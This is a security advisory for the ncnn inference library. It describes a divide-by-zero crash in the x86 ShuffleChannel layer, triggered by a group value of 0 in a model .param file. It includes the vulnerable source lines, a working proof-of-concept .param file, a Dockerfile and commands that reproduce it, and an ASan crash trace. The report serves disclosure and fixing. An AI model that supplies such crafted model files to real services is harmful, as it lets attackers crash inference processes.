ShuffleChannel Divide-By-Zero Denial Of Service
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/shufflechannel_x86.cpp:41 in ShuffleChannel_x86::forward
Sanitizer verdict: FPE on unknown address 0x5c92c076a6aa (pc 0x5c92c076a6aa bp 0x7ffd784411d0 sp 0x7ffd78439cc0 T0)
Summary
Setting a ShuffleChannel layer's group count to 0 in a text .param file terminates the
loading process with SIGFPE. ShuffleChannel::load_param accepts the value without
validation, and the x86 forward implementation divides the channel count by it. The proof of
concept drives this through ncnnoptimize, whose shape-inference pass executes every layer,
but the same expression runs during normal x86 CPU inference on any attacker-supplied
graph.
Detail
The untrusted fields are parameter ids 0 (group) and 1 (reverse) of a ShuffleChannel
record. load_param copies them straight into the layer and returns success:
// src/layer/shufflechannel.cpp:14
int ShuffleChannel::load_param(const ParamDict& pd)
{
group = pd.get(0, 1);
reverse = pd.get(1, 0);
return 0;
}
The x86 override then derives _group from reverse and uses it as a divisor on the very
next line, with no preceding check:
// src/layer/x86/shufflechannel_x86.cpp:33
int w = bottom_blob.w;
int h = bottom_blob.h;
int d = bottom_blob.d;
int channels = bottom_blob.c;
int elempack = bottom_blob.elempack;
int size = w * h * d;
int _group = reverse ? channels * elempack / group : group;
int channels_per_group = channels / _group;
if (_group == 1)
{
top_blob = bottom_blob;
return 0;
}
The PoC declares Input input 0 1 data 0=1 1=1 2=4 and
ShuffleChannel shuffle 1 1 data output 0=0. With reverse == 0, line 40 assigns
_group = group = 0, and line 41 evaluates channels / 0, trapping before the _group == 1
early-out on line 43 can be reached. The generic implementation in
src/layer/shufflechannel.cpp is no safer for this input: its "reject invalid group" guard is
if (channels % group != 0), a modulo by the same unvalidated zero. Reaching the layer
requires only optimizer.load_param(inparam) at tools/ncnnoptimize.cpp:2788 followed by
ModelWriter::shape_inference() at line 2844, which extracts every layer top through
tools/modelwriter.h:435. The reported crash frame is shufflechannel_x86_avx512.cpp:41, the
AVX-512 translation unit generated from this source file.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-shufflechannel-divide-by-zero-denial-of-service && cd ncnn-poc-shufflechannel-divide-by-zero-denial-of-service
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'EOF'
7767517
2 2
Input input 0 1 data 0=1 1=1 2=4
ShuffleChannel shuffle 1 1 data output 0=0
EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5c72692306aa (pc 0x5c72692306aa bp 0x7ffd55ecbb80 sp 0x7ffd55ec4680 T0)
#0 0x5c72692306aa in ncnn::ShuffleChannel_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/shufflechannel_x86_avx512.cpp:41
#1 0x5c7263ac3f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#2 0x5c7263ab5b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#3 0x5c7263b159e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#4 0x5c72639a73c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#5 0x5c7263a24eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#6 0x71a2f844e1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x71a2f844e28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x5c72639a4624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/shufflechannel_x86_avx512.cpp:41 in ncnn::ShuffleChannel_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING
Credit
Zheng Yu @ DepthFirst